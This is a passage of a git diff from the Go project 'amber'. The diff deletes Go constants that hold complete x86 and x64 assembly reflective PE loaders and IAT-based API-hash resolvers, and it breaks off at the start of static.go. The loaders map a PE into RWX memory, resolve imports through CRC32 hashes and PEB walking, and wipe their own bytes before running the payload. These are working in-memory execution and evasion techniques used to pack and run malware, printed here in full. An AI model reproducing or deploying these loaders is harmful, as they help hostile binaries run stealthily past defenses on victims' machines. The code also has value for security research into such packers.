get the image_size to R11 - mov rbp,rsp ; Copy current stack address to rbp - and rbp,-0x1000 ; Create a new shadow stack address - mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax - mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx - mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12 - push rax ; Allocate 8 bytes for lpflOldProtect - mov r9,rsp ; lpflOldProtect - mov r8d,dword 0x40 ; PAGE_EXECUTE_READWRITE - mov rdx,qword [rsp+8] ; dwSize - mov rcx,rbx ; lpAddress - mov r10d,0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" ) - xchg rsp,rbp ; Swap shadow stack - call api_call ; VirtualProtect( image_base, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect) - xchg rsp,rbp ; Swap shadow stack - xor rax,rax ; Zero EAX - xor r14,r14 ; Zero R14 - xor r15,r15 ; Zero R15 - mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov eax,dword [rax+rsi+0x90] ; Import table RVA - add rax,rsi ; Import table memory address (first image import descriptor) - push rax ; Save import descriptor to stack -get_modules: - cmp dword [rax],0 ; Check if the import names table RVA is NULL - jz complete ; If yes building process is done - mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax - add rcx,rsi ; Get the dll name address - call LoadLibraryA ; Load the library - mov r13,rax ; Move the dll handle to R13 - mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax - call get_procs ; Resolve all windows API function addresses - add dword [rsp],0x14 ; Move to the next import descriptor - mov rax,[rsp] ; Set the new import descriptor address to RAX - jmp get_modules -get_procs: - mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA to R14D - add r14,rsi ; Get the IAT memory address - mov rax,[rax] ; Set the import names table RVA to RAX - add rax,rsi ; Get the current import descriptor's import names table address - mov r15,rax ; Save &INT to R15 -resolve: - cmp dword [rax],0 ; Check if end of the import names table - jz all_resolved ; If yes resolving stage is done - mov rax,[rax] ; Get the RVA of function hint to eax - btr rax,0x3F ; Check if the high order bit is set - jnc name_resolve ; If high order bit is not set resolve with INT entry - shl rax,2 ; Discard the high bit by shifting - shr rax,2 ; Shift back the original value - call GetProcAddress ; Get API address with hint - jmp insert_iat ; Insert the address of API to IAT -name_resolve: - add rax,rsi ; Set the address of function hint - add rax,2 ; Move to function name - call GetProcAddress ; Get the function address to eax -insert_iat: - mov [r14],rax ; Insert the function address to IAT - add r14,8 ; Increase the IAT index - add r15,8 ; Increase the import names table index - mov rax,r15 ; Set the address of import names table address to RAX - jmp resolve ; Loop -all_resolved: - mov qword [r14],0 ; Insert a NULL qword - ret ; <- -LoadLibraryA: - xchg rbp,rsp ; Swap shadow stack - mov r10d,0xE2E6A091 ; hash( "kernel32.dll", "LoadLibraryA" ) - call api_call ; LoadLibraryA(RCX) - xchg rbp,rsp ; Swap shadow stack - ret ; <- -GetProcAddress: - xchg rbp,rsp ; Swap shadow stack - mov rcx,r13 ; Move the module handle to RCX as first parameter - mov rdx,rax ; Move the address of function name string to RDX as second parameter - mov r10d,0xA18B0B38 ; hash( "kernel32.dll", "GetProcAddress" ) - call api_call ; GetProcAddress(RCX,RDX) - xchg rbp,rsp ; Swap shadow stack - ret ; <- -complete: - pop rax ; Clean out the stack - pop rax ; ... - pop rcx ; Pop the image_size to RCX - push rbx ; Push the new base adress to stack - add [rsp],r12 ; Add the address of entry value to new base address -memcpy: - mov al,[rsi] ; Move 1 byte of PE image to AL register - mov byte [rbx],al ; Move 1 byte of PE image to image base - mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint) - inc rsi ; Increase PE image index - inc rbx ; Increase image base index - loop memcpy ; Loop until zero - jmp PE_start ; Wipe artifacts from memory and start PE -%s -PE_start: - mov rcx,wipe ; Get the number of bytes until wipe label - lea rax,[rip] ; Get RIP to RAX - nop ; Padding -wipe: - mov byte [rax],0 ; Wipe 1 byte at a time - dec rax ; Decraise RAX - loop wipe ; Loop until RCX = 0 -%s - ret ; Return to AOE - -` diff --git a/pkg/fixed_loader_x86.go b/pkg/fixed_loader_x86.go deleted file mode 100644 index 2bc2347..0000000 --- a/pkg/fixed_loader_x86.go +++ /dev/null @@ -1,121 +0,0 @@ -package amber - -// FixedLoaderX86 contains the 64 bit PE loader for non-relocatable PE files -const FixedLoaderX86 = ` -start: ; - cld ; Clear direction flags - pop esi ; Get the address of image to esi - call get_ip ; Push the current EIP to stack -get_ip: - sub [esp],esi ; Subtract &PE from EIP and get image_size - mov eax,[esi+0x3C] ; Get the offset of "PE" to eax - mov ebx,[eax+esi+0x34] ; Get the image base address to ebx - mov eax,[eax+esi+0x28] ; Get the address of entry point to eax - push eax ; Save the address of entry to stack - push ebx ; Save image base to stack - push 0x00000000 ; Allocate a DWORD variable inside stack - push esp ; lpflOldProtect - push 0x40 ; PAGE_EXECUTE_READWRITE - push dword [esp+0x14] ; dwSize - push ebx ; lpAddress - push 0x80886EF1 ; crc32( "kernel32.dll", "VirtualProtect" ) - call api_call ; VirtualProtect( ImageBase, image_size, PAGE_EXECUTE_READWRITE, lpflOldProtect) - pop eax ; Fix the stack - mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov eax,[eax+esi+0x80] ; Import table RVA - add eax,esi ; Import table memory address (first image import descriptor) - push eax ; Save the address of import descriptor to stack -get_modules: - cmp dword [eax],0x00 ; Check if the import names table RVA is NULL - jz complete ; If yes building process is done - mov eax,[eax+0x0C] ; Get RVA of dll name to eax - add eax,esi ; Get the dll name address - call LoadLibraryA ; Load the library - mov ebx,eax ; Move the dll handle to ebx - mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax - call get_procs ; Resolve all windows API function addresses - add dword [esp],0x14 ; Move to the next import descriptor - mov eax,[esp] ; Set the new import descriptor address to eax - jmp get_modules -get_procs: - push ecx ; Save ecx to stack - push dword [eax+0x10] ; Save the current import descriptor IAT RVA - add [esp],esi ; Get the IAT memory address - mov eax,[eax] ; Set the import names table RVA to eax - add eax,esi ; Get the current import descriptor's import names table address - push eax ; Save it to stack -resolve: - cmp dword [eax],0x00 ; Check if end of the import names table - jz all_resolved ; If yes resolving process is done - mov eax,[eax] ; Get the RVA of function hint to eax - cmp eax,0x80000000 ; Check if the high order bit is set - js name_resolve ; If high order bit is not set resolve with INT entry - sub eax,0x80000000 ; Zero out the high bit - call GetProcAddress ; Get the API address with hint - jmp insert_iat ; Insert the address of API tı IAT -name_resolve: - add eax,esi ; Set the address of function hint - add eax,0x02 ; Move to function name - call GetProcAddress ; Get the function address to eax -insert_iat: - mov ecx,[esp+4] ; Move the IAT address to ecx - mov [ecx],eax ; Insert the function address to IAT - add dword [esp],0x04 ; Increase the import names table index - add dword [esp+4],0x04 ; Increase the IAT index - mov eax,[esp] ; Set the address of import names table address to eax - jmp resolve ; Loop -all_resolved: - mov ecx,[esp+4] ; Move the IAT address to ecx - mov dword [ecx],0x00 ; Insert a NULL dword - pop ecx ; Deallocate index values - pop ecx ; ... - pop ecx ; Put back the ecx value - ret ; <- -LoadLibraryA: - push ecx ; Save ecx to stack - push edx ; Save edx to stack - push eax ; Push the address of linrary name string - push 0xE2E6A091 ; ror13( "kernel32.dll", "LoadLibraryA" ) - call api_call ; LoadLibraryA([esp+4]) - pop edx ; Retreive edx - pop ecx ; Retreive ecx - ret ; <- -GetProcAddress: - push ecx ; Save ecx to stack - push edx ; Save edx to stack - push eax ; Push the address of proc name string - push ebx ; Push the dll handle - push 0xA18B0B38 ; ror13( "kernel32.dll", "GetProcAddress" ) - call api_call ; GetProcAddress(ebx,[esp+4]) - pop edx ; Retrieve edx - pop ecx ; Retrieve ecx - ret ; <- -complete: - pop eax ; Clean out the stack - pop edi ; .. - mov edx,edi ; Copy the address of new base to EDX - pop eax ; Pop the address_of_entry to EAX - add edi,eax ; Add the address of entry to new image base - pop ecx ; Pop the image_size to ECX -memcpy: - mov al,[esi] ; Move 1 byte of PE image to AL register - mov byte [edx],al ; Move 1 byte of PE image to image base - mov byte [esi],0 ; Overwrite copied byte (for less memory footprint) - inc esi ; Increase PE image index - inc edx ; Increase image base index - loop memcpy ; Loop until ECX = 0 - jmp PE_start ; Wipe artifacts from memory and start PE -%s -PE_start: -%s - mov ecx,wipe ; Get the number of bytes until wipe label - call wipe_start ; Call wipe_start -wipe_start: - pop eax ; Get EIP to EAX -wipe: - mov byte [eax],0 ; Wipe 1 byte at a time - dec eax ; Decraise EAX - loop wipe ; Loop until ECX = 0 - jmp edi ; Call the AOE - -` diff --git a/pkg/iat_api_x64.go b/pkg/iat_api_x64.go deleted file mode 100644 index b7c03cc..0000000 --- a/pkg/iat_api_x64.go +++ /dev/null @@ -1,102 +0,0 @@ -package amber - -// IAT64 https://github.com/EgeBalci/IAT_API -const IAT64 = ` - -api_call: - push r9 ; Save the 4th parameter - push r8 ; Save the 3rd parameter - push rdx ; Save the 2nd parameter - push rcx ; Save the 1st parameter - push rsi ; Save RSI - xor rdx,rdx ; Zero rdx - mov rdx,gs:[rdx+0x60] ; Get a pointer to the PEB - mov rdx,[rdx+0x18] ; Get PEB->Ldr - mov rdx,[rdx+0x20] ; Get the first module from the InMemoryOrder module list - mov rdx,[rdx+0x20] ; Get this modules base address - push rdx ; Save the image base to stack (will use this alot) - add dx,word [rdx+0x3C] ; "PE" Header - mov edx,dword [rdx+0x90]; Import table RVA - add rdx,[rsp] ; Address of Import Table - push rdx ; Save the &IT to stack (will use this alot) - mov rsi,[rsp+8] ; Move the image base to RSI - sub rsp,0x10 ; Allocate space for import descriptor counter & hash - sub rdx,0x14 ; Prepare import descriptor pointer for processing -next_desc: - add rdx,0x14 ; Get the next import descriptor - cmp dword [rdx],0 ; Check if import descriptor is valid - jz not_found ; If import name array RVA is zero finish parsing - mov rsi,[rsp+0x10] ; Move import table address to RSI - mov si,[rdx+0xC] ; Get pointer to module name string RVA - xor rdi,rdi ; Clear RDI which will store the hash of the module name -loop_modname: - xor rax,rax ; Clear RAX for calculating the hash - lodsb ; Read in the next byte of the name - cmp al,'a' ; Some versions of windows use lower case module names - jl not_lowercase ; - sub al,0x20 ; If so normalize to uppercase -not_lowercase: - crc32 edi,al ; Calculate CRC32 of module name - crc32 edi,ah ; Feed NULL for unicode effect - test al,al ; Check if end of the module name - jnz loop_modname ; - ; We now have the module hash computed - mov [rsp+8],rdx ; Save the current position in the module listfor later - mov [rsp],edi ; Save the current module hash for later - ; Proceed to itterate the export address table, - mov ecx,dword [rdx] ; Get RVA of import names table - add rcx,[rsp+0x18] ; Add the image base and get the address of import names table - sub rcx,8 ; Go 4 bytes back -get_next_func: ; - mov rdi,[rsp] ; Reset module hash - add rcx,8 ; 8 byte forward - cmp dword [rcx],0 ; Check if end of INT - jz next_desc ; If no INT present, process the next import descriptor - mov esi,dword [rcx] ; Get the RVA of func name hint - btr rax,0x3F ; Check if the high order bit is set - btr rsi,0x3F ; Check if the high order bit is set - jc get_next_func ; If high order bit is not set resolve with INT entry - add rsi,[rsp+0x18] ; Add the image base and get the address of function name hint - add rsi,2 ; Move 2 bytes forward to asci function name - ; now ecx returns to its regularly scheduled counter duties - ; Computing the module hash + function hash - ; And compare it to the one we want -loop_funcname: - xor rax,rax ; Clear RAX - lodsb ; Read in the next byte of the ASCII function name - crc32 edi,al ; Calculate CRC32 of the function name - cmp al,ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - cmp edi,r10d ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - mov eax,dword [rdx+0x10]; Get the RVA of current descriptor's IAT - mov edx,dword [rdx] ; Get the import names table RVA of current import descriptor - add rdx,[rsp+0x18] ; Get the address of import names table of current import descriptor - sub rcx,rdx ; Find the function array index ? - add rax,[rsp+0x18] ; Add the image base to current descriptors IAT RVA - add rax,rcx ; Add the function index - ; Now clean the stack - ; We now fix up the stack and perform the call to the drsired function... -finish: - pop r8 ; Clear off the current modules hash - pop r8 ; Clear off the current position in the module list - pop r8 ; Clear off the import table address of last module - pop r8 ; Clear off the image base address of last module - pop rsi ; Restore RSI - pop rcx ; Restore the 1st parameter - pop rdx ; Restore the 2nd parameter - pop r8 ; Restore the 3rd parameter - pop r9 ; Restore the 4th parameter - pop r10 ; Pop off the return address - sub rsp,0x20 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) - ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). - push r10 ; Push back the return address - mov rax,[rax] ; Get the address of the desired API - jmp rax ; Jump to target function - ; We now automagically return to the correct caller... -not_found: - add rsp,0x48 ; Clean out the stack - ret ; Return to caller - -` diff --git a/pkg/iat_api_x86.go b/pkg/iat_api_x86.go deleted file mode 100644 index c9a36c9..0000000 --- a/pkg/iat_api_x86.go +++ /dev/null @@ -1,90 +0,0 @@ -package amber - -// IAT32 https://github.com/EgeBalci/IAT_API -const IAT32 = ` - -api_call: - pushad ; We preserve all the registers for the caller, bar EAX and ECX. - xor eax,eax ; Zero EAX (upper 3 bytes will remain zero until function is found) - mov edx,fs:[eax+0x30] ; Get a pointer to the PEB - mov edx,[edx+0x0C] ; Get PEB->Ldr - mov edx,[edx+0x14] ; Get the first module from the InMemoryOrder module list - mov edx,[edx+0x10] ; Get this modules base address - push edx ; Save the image base to stack (will use this alot) - add edx,[edx+0x3C] ; "PE" Header - mov edx,[edx+0x80] ; Import table RVA - add edx,[esp] ; Address of Import Table - push edx ; Save the &IT to stack (will use this alot) - mov esi,[esp+4] ; Move the image base to ESI - sub esp,0x08 ; Allocate space for import descriptor counter & hash - sub edx,0x14 ; Prepare the import descriptor pointer for processing -next_desc: - add edx,0x14 ; Get the next import descriptor - cmp dword [edx],0x00 ; Check if import descriptor valid - jz not_found ; If import name array RVA is zero finish parsing - mov esi,[esp+0x08] ; Move the import table address to esi - mov si,[edx+0x0C] ; Get pointer to module name string RVA - xor edi,edi ; Clear EDI which will store the hash of the module name -loop_modname: ; - lodsb ; Read in the next byte of the name - cmp al,'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - crc32 edi,al ; Calculate CRC32 of module name - crc32 edi,ah ; Add NULL for unicode effect - test al,al ; Check if we read all - jnz loop_modname - ; We now have the module hash computed - mov [esp+4],edx ; Save the current position in the module list for later - mov [esp],edi ; Save the current module hash for later - ; Proceed to iterate the export address table, - mov ecx,[edx] ; Get the RVA of import names table - add ecx,[esp+0x0C] ; Add image base and get address of import names table - sub ecx,0x04 ; Go 4 byte back -get_next_func: - mov edi,dword [esp] - ; use ecx as our EAT pointer here so we can take advantage of jecxz. - add ecx,0x04 ; 4 byte forward - cmp dword [ecx],0x00 ; Check if end of INT - jz next_desc ; If no INT present, process the next import descriptor - mov esi,[ecx] ; Get the RVA of func name hint - cmp esi,0x80000000 ; Check if the high order bit is set - jns get_next_func ; If not, there is no function name string :( - add esi,[esp+0x0C] ; Add the image base and get the address of function hint - add dword esi,0x02 ; Move 2 bytes forward to asci function name - ; now ecx returns to its regularly scheduled counter duties - ; Computing the module hash + function hash - ; And compare it to the one we want -loop_funcname: ; - lodsb ; Read in the next byte of the ASCII function name - crc32 edi,al ; Calculate CRC32 of function name - test al,al ; Check if AL == 0 - jnz loop_funcname ; If we have not reached the null terminator, continue - cmp edi,[esp+0x34] ; Compare the hash to the one we are searching for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - mov eax,[edx+0x10] ; Get the RVA of current descriptor's IAT - mov edx,[edx] ; Get the import names table RVA of current import descriptor - add edx,[esp+0x0C] ; Get the address of import names table of current import descriptor - sub ecx,edx ; Find the function array index ? - add eax,[esp+0x0C] ; Add the image base to current descriptors IAT RVA - add eax,ecx ; Add the function index - ; Now we clean the stack - ; We now fix up the stack and perform the call to the desired function... -finish: - mov [esp+0x2C],eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - add esp,0x10 ; Deallocate saved module hash, import descriptor address and import table address - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ebx ; Pop off the origional return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ebx ; Push back the return address - mov eax,[eax] ; Get the address of the desired API - jmp eax ; Jump to target function - ; We now automagically return to the correct caller... -not_found: - add esp,0x0F ; Fix the stack - popad ; Restore all registers - ret ; Return - -` diff --git a/pkg/loader_x64.go b/pkg/loader_x64.go deleted file mode 100644 index 8057914..0000000 --- a/pkg/loader_x64.go +++ /dev/null @@ -1,160 +0,0 @@ -package amber - -// LoaderX64 contains the 64 bit PE loader for relocatable PE files -const LoaderX64 = ` -start: - pop rsi ; Get the address of image to rsi - call get_ip ; Push the current EIP to stack -get_ip: - cld ; Clear direction flags - sub [rsp],rsi ; Subtract the address of pre mapped PE image and get the image_size+8 to ST[0] - mov rbp,rsp ; Copy current stack address to rbp - and rbp,-0x1000 ; Create a new shadow stack address - mov eax,dword [rsi+0x3C] ; Get the offset of "PE" to eax - mov rbx,qword [rax+rsi+0x30] ; Get the image base address to rbx - mov r12d,dword [rax+rsi+0x28] ; Get the address of entry point to r12 - mov r9d,0x40 ; PAGE_EXECUTE_READ_WRITE - mov r8d,0x00103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE - mov rdx,[rsp] ; dwSize - xor rcx,rcx ; lpAddress - xchg rsp,rbp ; Swap shadow stack - mov r10d,0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc") - call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE) - xchg rsp,rbp ; Swap shadow stack - mov rdi,rax ; Save the new base address to rdi - xor rax,rax ; Zero out the RAX - xor r8,r8 ; Zero out the R8 - xor r13,r13 ; Zero out the R13 - xor r14,r14 ; Zero out the R14 - mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov ecx,dword [rax+rsi+0xB4] ; Base relocation table size - mov eax,dword [rax+rsi+0xB0] ; Base relocation table RVA - add rax,rsi ; Base relocation table memory address - add rcx,rax ; End of base relocation table -calc_delta: - mov rdx,rdi ; Move the new base address to rdx - sub rdx,rbx ; Delta value - mov r13d,dword [rax] ; Move the reloc RVA to R13D - mov r14d,dword [rax+4] ; Move the reloc table size to R14D - add rax,8 ; Move to the reloc descriptor - jmp fix ; Start fixing -get_rva: - cmp rcx,rax ; Check if the end of the reloc section - jle reloc_fin ; If yes goto fin - mov r13d,dword [rax] ; Move the new reloc RVA - mov r14d,dword [rax+4] ; Move the new reloc table size - add rax,8 ; Move 8 bytes -fix: - cmp r14w,8 ; Check if the end of the reloc block - jz get_rva ; If yes set the next block RVA - mov r8w,word [rax] ; Move the reloc desc to r8w - cmp r8w,0 ; Check if it is a padding word - je pass ; Pass padding bytes - and r8w,0x0FFF ; Get the last 12 bits - add r8d,r13d ; Add block RVA to desc value - add r8,rsi ; Add the start address of the image - add [r8],rdx ; Add the delta value to calculated absolute address -pass: - sub r14d,2 ; Decrease the index - add rax,2 ; Move to the next reloc desc. - xor r8,r8 ; Zero out r8 - jmp fix ; Loop -reloc_fin: ; All done ! - xor r14,r14 ; Zero out r14 - xor r15,r15 ; Zero out r15 - xor rcx,rcx ; Zero out rcx - mov eax,dword [rsi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov eax,dword [rax+rsi+0x90] ; Import table RVA - add rax,rsi ; Import table memory address (first image import descriptor) - push rax ; Save import descriptor to stack -get_modules: - cmp dword [rax],0 ; Check if the import names table RVA is NULL - jz complete ; If yes building process is done - mov ecx,dword [rax+0x0C] ; Get RVA of dll name to eax - add rcx,rsi ; Get the dll name address - call LoadLibraryA ; Load the library - mov r13,rax ; Move the dll handle to R13 - mov rax,[rsp] ; Move the address of current _IMPORT_DESCRIPTOR to eax - call get_procs ; Resolve all windows API function addresses - add dword [rsp],0x14 ; Move to the next import descriptor - mov rax,[rsp] ; Set the new import descriptor address to eax - jmp get_modules ; Get other modules -get_procs: - mov r14d,dword [rax+0x10] ; Save the current import descriptor IAT RVA - add r14,rsi ; Get the IAT memory address - mov rax,[rax] ; Set the import names table RVA to eax - add rax,rsi ; Get the current import descriptor's import names table address - mov r15,rax ; Save &INT to R15 -resolve: - cmp dword [rax],0 ; Check if end of the import names table - jz all_resolved ; If yes resolving process is done - mov rax,[rax] ; Get the RVA of function hint to eax - btr rax,0x3F ; Check if the high order bit is set - jnc name_resolve ; If high order bit is not set resolve with INT entry - shl rax,2 ; Discard the high bit by shifting - shr rax,2 ; Shift back the original value - call GetProcAddress ; Get the API address with hint - jmp insert_iat ; Insert the address of API tı IAT -name_resolve: - add rax,rsi ; Set the address of function hint - add rax,2 ; Move to function name - call GetProcAddress ; Get the function address to eax -insert_iat: - mov [r14],rax ; Insert the function address to IAT - add r14,8 ; Increase the IAT index - add r15,8 ; Increase the import names table index - mov rax,r15 ; Set the address of import names table address to eax - jmp resolve ; Loop -all_resolved: - mov qword [r14],0 ; Insert a NULL qword - ret ; <- -LoadLibraryA: - xchg rbp,rsp ; Swap shadow stack - mov r10d,0xE2E6A091 ; crc32("KERNEL32.DLL", "LoadLibraryA") - call api_call ; LoadLibraryA(RCX) - xchg rbp,rsp ; Swap shadow stack - ret ; <- -GetProcAddress: - xchg rbp,rsp ; Swap shadow stack - mov rcx,r13 ; Move the module handle to RCX as first parameter - mov rdx,rax ; Move the address of function name string to RDX as second parameter - mov r10d,0xA18B0B38 ; crc32("KERNEL32.DLL", "GetProcAddress") - call api_call ; GetProcAddress(ebx,[esp+4]) - xchg rbp,rsp ; Swap shadow stack - ret ; <- -complete: - pop rax ; Clean out the stack - pop rcx ; Pop the ImageSize into RCX - push rdi ; Save ImageBase to stack - mov r13,rdi ; Copy the new base value to r13 - add r13,r12 ; Add the address of entry value to new base address -memcpy: - mov al,[rsi] ; Move 1 byte of PE image to AL register - mov byte [rdi],al ; Move 1 byte of PE image to image base - mov byte [rsi],0 ; Overwrite copied byte (for less memory footprint) - inc rsi ; Increase PE image index - inc rdi ; Increase image base index - loop memcpy ; Loop until zero - pop r13 ; Pop the image base to r13 - or rcx,-1 ; hProcess - xor rdx,rdx ; lpBaseAddress - xor r8,r8 ; hProcess - xchg rbp,rsp ; Swap shadow stack - mov r10d,0x975B539E ; crc32("KERNEL32.dll", "FlushInstructionCache") - call api_call ; FlushInstructionCache(0xffffffff,NULL,NULL); - xchg rbp,rsp ; Swap shadow stack - add r13,r12 ; Add the address of entry value to image base - jmp PE_start ; Wipe artifacts from memory and start PE -%s -PE_start: - mov rcx,wipe ; Get the number of bytes until wipe label - lea rax,[rip] ; Get RIP to RAX - nop ; Padding -wipe: - mov byte [rax],0 ; Wipe 1 byte at a time - dec rax ; Decraise RAX - loop wipe ; Loop until RCX = 0 -%s - jmp r13 ; Call the AOE - -` diff --git a/pkg/loader_x86.go b/pkg/loader_x86.go deleted file mode 100644 index 117ba08..0000000 --- a/pkg/loader_x86.go +++ /dev/null @@ -1,159 +0,0 @@ -package amber - -// LoaderX86 contains the 32 bit PE loader for relocatable PE files -const LoaderX86 = ` -start: - cld ; Clear direction flags - pop esi ; Get the address of image to esi - call get_ip ; Push the current EIP to stack -get_ip: - sub [esp],esi ; Subtract &PE from EIP and get image_size - mov eax,[esi+0x3C] ; Get the offset of "PE" to eax - mov ebx,[eax+esi+0x34] ; Get the image base address to ebx - mov eax,[eax+esi+0x28] ; Get the address of entry point to eax - push eax ; Save the address of entry to stack - push 0x40 ; PAGE_EXECUTE_READ_WRITE - push 0x103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE - push dword [esp+0xC] ; dwSize - push 0 ; lpAddress - push 0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc") - call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE) - push eax ; Save the new image base to stack - xor edx,edx ; Zero out the edx -relocate: - mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov ecx,[eax+esi+0xA4] ; Base relocation table size - mov eax,[eax+esi+0xA0] ; Base relocation table RVA - add eax,esi ; Base relocation table memory address - add ecx,eax ; End of base relocation table -calc_delta: - mov edi,[esp] ; Move the new base address to EDI - sub edi,ebx ; Delta value - push dword [eax] ; Reloc RVA - push dword [eax+4] ; Reloc table size - add eax,8 ; Move to the reloc descriptor - jmp fix ; Start fixing -get_rva: - cmp ecx,eax ; Check if the end of the reloc section ? - jle reloc_fin ; If yes goto fin - add esp,8 ; Deallocate old reloc RVA and reloc table size variables - push dword [eax] ; Push new reloc RVA - push dword [eax+4] ; Push new reloc table size - add eax,8 ; Move 8 bytes -fix: - cmp word [esp],8 ; Check if the end of the reloc block - jz get_rva ; If yes set the next block RVA - mov dx,word [eax] ; Move the reloc desc to dx - cmp dx,0 ; Check if it is a padding word - je pass - and dx,0x0FFF ; Get the last 12 bits - add edx,[esp+4] ; Add block RVA to desc value - add edx,esi ; Add the start address of the image - add dword [edx],edi ; Add the delta value to calculated absolute address -pass: - sub dword [esp],2 ; Decrease the index - add eax,2 ; Move to the next reloc desc. - xor edx,edx ; Zero out edx - jmp fix ; Loop -reloc_fin: - pop eax ; Deallocate all vars - pop eax ; ... - mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") - mov eax,[eax+esi+0x80] ; Import table RVA - add eax,esi ; Import table memory address (first image import descriptor) - push eax ; Save the address of import descriptor to stack -get_modules: - cmp dword [eax],0 ; Check if the import names table RVA is NULL - jz complete ; If yes building process is done - mov eax,[eax+0x0C] ; Get RVA of dll name to eax - add eax,esi ; Get the dll name address - call LoadLibraryA ; Load the library - mov ebx,eax ; Move the dll handle to ebx - mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax - call get_procs ; Resolve all windows API function addresses - add dword [esp],0x14 ; Move to the next import descriptor - mov eax,[esp] ; Set the new import descriptor address to eax - jmp get_modules -get_procs: - push ecx ; Save ecx to stack - push dword [eax+0x10] ; Save the current import descriptor IAT RVA - add [esp],esi ; Get the IAT memory address - mov eax,[eax] ; Set the import names table RVA to eax - add eax,esi ; Get the current import descriptor's import names table address - push eax ; Save it to stack -resolve: - cmp dword [eax],0 ; Check if end of the import names table - jz all_resolved ; If yes resolving process is done - mov eax,[eax] ; Get the RVA of function hint to eax - cmp eax,0x80000000 ; Check if the high order bit is set - js name_resolve ; If high order bit is not set resolve with INT entry - sub eax,0x80000000 ; Zero out the high bit - call GetProcAddress ; Get the API address with hint - jmp insert_iat ; Insert the address of API tı IAT -name_resolve: - add eax,esi ; Set the address of function hint - add eax,2 ; Move to function name - call GetProcAddress ; Get the function address to eax -insert_iat: - mov ecx,[esp+4] ; Move the IAT address to ecx - mov [ecx],eax ; Insert the function address to IAT - add dword [esp],4 ; Increase the import names table index - add dword [esp+4],4 ; Increase the IAT index - mov eax,[esp] ; Set the address of import names table address to eax - jmp resolve ; Loop -all_resolved: - mov ecx,[esp+4] ; Move the IAT address to ecx - mov dword [ecx],0 ; Insert a NULL dword - pop ecx ; Deallocate index values - pop ecx ; ... - pop ecx ; Put back the ecx value - ret ; <- -LoadLibraryA: - push ecx ; Save ecx to stack - push edx ; Save edx to stack - push eax ; Push the address of linrary name string - push 0xE2E6A091 ; crc32( "kernel32.dll", "LoadLibraryA" ) - call api_call ; LoadLibraryA([esp+4]) - pop edx ; Retreive edx - pop ecx ; Retreive ecx - ret ; <- -GetProcAddress: - push ecx ; Save ecx to stack - push edx ; Save edx to stack - push eax ; Push the address of proc name string - push ebx ; Push the dll handle - push 0xA18B0B38 ; crc32( "kernel32.dll", "GetProcAddress" ) - call api_call ; GetProcAddress(ebx,[esp+4]) - pop edx ; Retrieve edx - pop ecx ; Retrieve ecx - ret ; <- -complete: - pop eax ; Clean out the stack - pop edi ; .. - mov edx,edi ; Copy the address of new base to EDX - pop eax ; Pop the address_of_entry to EAX - add edi,eax ; Add the address of entry to new image base - pop ecx ; Pop the image_size to ECX -memcpy: - mov al,[esi] ; Move 1 byte of PE image to AL register - mov [edx],al ; Move 1 byte of PE image to image base - mov byte [esi],0 ; Overwrite copied byte (for less memory footprint) - inc esi ; Increase PE image index - inc edx ; Increase image base index - loop memcpy ; Loop until ECX = 0 - jmp PE_start ; Wipe artifacts from memory and start PE -%s -PE_start: -%s - mov ecx,wipe ; Get the number of bytes until wipe label - call wipe_start ; Call wipe_start -wipe_start: - pop eax ; Get EIP to EAX -wipe: - mov byte [eax],0 ; Wipe 1 byte at a time - dec eax ; Decraise EAX - loop wipe ; Loop until ECX = 0 - call edi ; Call the AOE - - -` diff --git a/pkg/static.go b/pkg/static.go index 5726360..d56be8b 100644 --- a/pkg/static.go +++ b/pkg/static.go @@ -1,7 +1,651 @@ package amber -// STUB32 contains the empty 32 bit PE file used for creating amber stub -var STUB32 = 